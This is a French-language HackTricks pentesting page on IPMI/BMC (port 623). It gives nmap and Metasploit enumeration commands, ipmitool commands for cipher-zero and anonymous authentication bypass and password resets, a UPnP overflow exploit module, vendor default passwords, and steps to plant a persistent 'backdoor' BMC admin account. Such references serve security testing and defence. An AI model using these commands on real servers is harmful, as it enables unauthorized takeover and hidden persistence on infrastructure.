623/UDP/TCP - IPMI

Reading time: 8 minutes

623/UDP/TCP - IPMI

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)

Soutenir HackTricks

Informations de base

Aperçu de l'IPMI

Interface de gestion de plateforme intelligente (IPMI) offre une approche standardisée pour la gestion et la surveillance à distance des systèmes informatiques, indépendamment du système d'exploitation ou de l'état d'alimentation. Cette technologie permet aux administrateurs système de gérer les systèmes à distance, même lorsqu'ils sont éteints ou non réactifs, et est particulièrement utile pour :

  • Configurations de démarrage pré-OS
  • Gestion de l'alimentation
  • Récupération après des pannes système

L'IPMI est capable de surveiller les températures, les tensions, les vitesses des ventilateurs et les alimentations, tout en fournissant des informations d'inventaire, en examinant les journaux matériels et en envoyant des alertes via SNMP. Essentiel à son fonctionnement, il nécessite une source d'alimentation et une connexion LAN.

Depuis son introduction par Intel en 1998, l'IPMI a été soutenu par de nombreux fournisseurs, améliorant les capacités de gestion à distance, notamment avec le support de la version 2.0 pour le série sur LAN. Les composants clés incluent :

  • Contrôleur de gestion de carte mère (BMC) : Le micro-contrôleur principal pour les opérations IPMI.
  • Bus et interfaces de communication : Pour la communication interne et externe, y compris ICMB, IPMB et diverses interfaces pour les connexions locales et réseau.
  • Mémoire IPMI : Pour stocker les journaux et les données.

https://blog.rapid7.com/content/images/post-images/27966/IPMI-Block-Diagram.png#img-half-right

Port par défaut : 623/UDP/TCP (Il est généralement sur UDP mais peut également fonctionner sur TCP)

Énumération

Découverte

bash
nmap -n -p 623 10.0.0./24
nmap -n-sU -p 623 10.0.0./24
use  auxiliary/scanner/ipmi/ipmi_version

Vous pouvez identifier la version en utilisant :

bash
use auxiliary/scanner/ipmi/ipmi_version
nmap -sU --script ipmi-version -p 623 10.10.10.10

Vulnérabilités IPMI

Dans le domaine de l'IPMI 2.0, une faille de sécurité significative a été découverte par Dan Farmer, exposant une vulnérabilité à travers le type de chiffre 0. Cette vulnérabilité, documentée en détail dans la recherche de Dan Farmer, permet un accès non autorisé avec n'importe quel mot de passe si un utilisateur valide est ciblé. Cette faiblesse a été trouvée dans divers BMC de fabricants comme HP, Dell et Supermicro, suggérant un problème généralisé dans toutes les implémentations de l'IPMI 2.0.

Contournement de l'authentification IPMI via le Chiffre 0

Pour détecter cette faille, le scanner auxiliaire Metasploit suivant peut être utilisé :

bash
use auxiliary/scanner/ipmi/ipmi_cipher_zero

L'exploitation de cette faille est réalisable avec ipmitool, comme démontré ci-dessous, permettant la liste et la modification des mots de passe des utilisateurs :

bash
apt-get install ipmitool # Installation command
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user list # Lists users
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user set password 2 abc123 # Changes password

Récupération de hachages de mots de passe à distance pour l'authentification RAKP IPMI 2.0

Cette vulnérabilité permet la récupération de mots de passe hachés salés (MD5 et SHA1) pour tout nom d'utilisateur existant. Pour tester cette vulnérabilité, Metasploit propose un module :

bash
msf > use auxiliary/scanner/ipmi/ipmi_dumphashes

Authentification Anonyme IPMI

Une configuration par défaut dans de nombreux BMC permet un accès "anonyme", caractérisé par des chaînes de nom d'utilisateur et de mot de passe nulles. Cette configuration peut être exploitée pour réinitialiser les mots de passe des comptes d'utilisateurs nommés en utilisant ipmitool:

bash
ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user list
ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user set password 2 newpassword

Supermicro IPMI Mots de passe en clair

Un choix de conception critique dans IPMI 2.0 nécessite le stockage de mots de passe en clair dans les BMC pour des raisons d'authentification. Le stockage de ces mots de passe par Supermicro dans des emplacements tels que /nv/PSBlock ou /nv/PSStore soulève d'importantes préoccupations en matière de sécurité :

bash
cat /nv/PSBlock

Vulnérabilité UPnP IPMI de Supermicro

L'inclusion par Supermicro d'un écouteur SSDP UPnP dans son firmware IPMI, en particulier sur le port UDP 1900, introduit un risque de sécurité sévère. Les vulnérabilités dans l'Intel SDK pour les appareils UPnP version 1.3.1, comme détaillé par la divulgation de Rapid7, permettent un accès root au BMC :

bash
msf> use exploit/multi/upnp/libupnp_ssdp_overflow

Brute Force

HP randomise le mot de passe par défaut pour son produit Integrated Lights Out (iLO) lors de la fabrication. Cette pratique contraste avec d'autres fabricants, qui ont tendance à utiliser des identifiants par défaut statiques. Un résumé des noms d'utilisateur et mots de passe par défaut pour divers produits est fourni comme suit :

  • HP Integrated Lights Out (iLO) utilise une chaîne de 8 caractères randomisée en usine comme mot de passe par défaut, montrant un niveau de sécurité plus élevé.
  • Des produits comme Dell's iDRAC, IBM's IMM, et Fujitsu's Integrated Remote Management Controller utilisent des mots de passe facilement devinables tels que "calvin", "PASSW0RD" (avec un zéro), et "admin" respectivement.
  • De même, Supermicro IPMI (2.0), Oracle/Sun ILOM, et ASUS iKVM BMC utilisent également des identifiants par défaut simples, avec "ADMIN", "changeme", et "admin" servant de mots de passe.

Accéder à l'hôte via BMC

L'accès administratif au Baseboard Management Controller (BMC) ouvre diverses voies pour accéder au système d'exploitation de l'hôte. Une approche simple consiste à exploiter la fonctionnalité KVM (Keyboard, Video, Mouse) du BMC. Cela peut être fait en redémarrant l'hôte vers un shell root via GRUB (en utilisant init=/bin/sh) ou en démarrant à partir d'un CD-ROM virtuel configuré comme disque de secours. De telles méthodes permettent une manipulation directe du disque de l'hôte, y compris l'insertion de portes dérobées, l'extraction de données, ou toute action nécessaire pour une évaluation de sécurité. Cependant, cela nécessite de redémarrer l'hôte, ce qui est un inconvénient majeur. Sans redémarrage, accéder à l'hôte en cours d'exécution est plus complexe et varie selon la configuration de l'hôte. Si la console physique ou série de l'hôte reste connectée, elle peut facilement être prise en charge via les fonctionnalités KVM ou serial-over-LAN (sol) du BMC via ipmitool. Explorer l'exploitation des ressources matérielles partagées, comme le bus i2c et la puce Super I/O, est un domaine qui nécessite une enquête plus approfondie.

Introduction de portes dérobées dans le BMC depuis l'hôte

Après avoir compromis un hôte équipé d'un BMC, l'interface BMC locale peut être exploitée pour insérer un compte utilisateur de porte dérobée, créant une présence durable sur le serveur. Cette attaque nécessite la présence de ipmitool sur l'hôte compromis et l'activation du support du pilote BMC. Les commandes suivantes illustrent comment un nouveau compte utilisateur peut être injecté dans le BMC en utilisant l'interface locale de l'hôte, ce qui contourne le besoin d'authentification. Cette technique est applicable à un large éventail de systèmes d'exploitation, y compris Linux, Windows, BSD, et même DOS.

bash
ipmitool user list
ID  Name        Callin  Link Auth    IPMI Msg  Channel Priv Limit
2  ADMIN            true    false      false      Unknown (0x00)
3  root            true    false      false      Unknown (0x00)

ipmitool user set name 4 backdoor
ipmitool user set password 4 backdoor
ipmitool user priv 4 4
ipmitool user list
ID  Name        Callin  Link Auth    IPMI Msg  Channel Priv Limit
2  ADMIN            true    false      false      Unknown (0x00)
3  root            true    false      false      Unknown (0x00)
4  backdoor        true    false      true      ADMINISTRATOR

Shodan

  • port:623

Références

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)

Soutenir HackTricks